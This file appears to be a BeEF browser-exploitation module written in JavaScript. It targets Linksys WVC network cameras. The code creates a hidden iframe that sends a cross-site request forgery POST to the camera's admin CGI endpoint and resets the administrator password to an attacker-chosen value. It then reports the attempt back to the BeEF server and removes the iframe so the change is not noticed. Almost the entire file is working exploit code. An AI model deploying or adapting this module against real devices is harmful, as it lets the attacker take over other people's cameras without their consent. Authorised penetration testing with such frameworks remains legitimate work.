45 lines
1.8 KiB
JavaScript
45 lines
1.8 KiB
JavaScript
//
|
|
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// http://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
//
|
|
beef.execute(function() {
|
|
var gateway = '<%= @base %>';
|
|
var path = 'adm/file.cgi';
|
|
var passwd = '<%= @password %>';
|
|
|
|
var linksys_wvc_iframe = beef.dom.createIframeXsrfForm(gateway + path, "POST",
|
|
[{'type':'hidden', 'name':'adm', 'value':'admin'},
|
|
{'type':'hidden', 'name':'admpw', 'value':passwd},
|
|
{'type':'hidden', 'name':'admpwv', 'value':passwd},
|
|
{'type':'hidden', 'name':'language', 'value':'1'},
|
|
{'type':'hidden', 'name':'h_usernamelist', 'value':''},
|
|
{'type':'hidden', 'name':'h_language', 'value':'1'},
|
|
{'type':'hidden', 'name':'h_lang_from_mac','value':''},
|
|
{'type':'hidden', 'name':'this_file', 'value':'pass_wd.htm'},
|
|
{'type':'hidden', 'name':'next_file', 'value':'pass_wd.htm'},
|
|
{'type':'hidden', 'name':'todo', 'value':'save'},
|
|
{'type':'hidden', 'name':'video_file', 'value':''},
|
|
{'type':'hidden', 'name':'', 'value':'Submit form'}
|
|
]);
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
|
|
cleanup = function() {
|
|
document.body.removeChild(linksys_wvc_iframe);
|
|
}
|
|
setTimeout("cleanup()", 15000);
|
|
|
|
});
|
|
|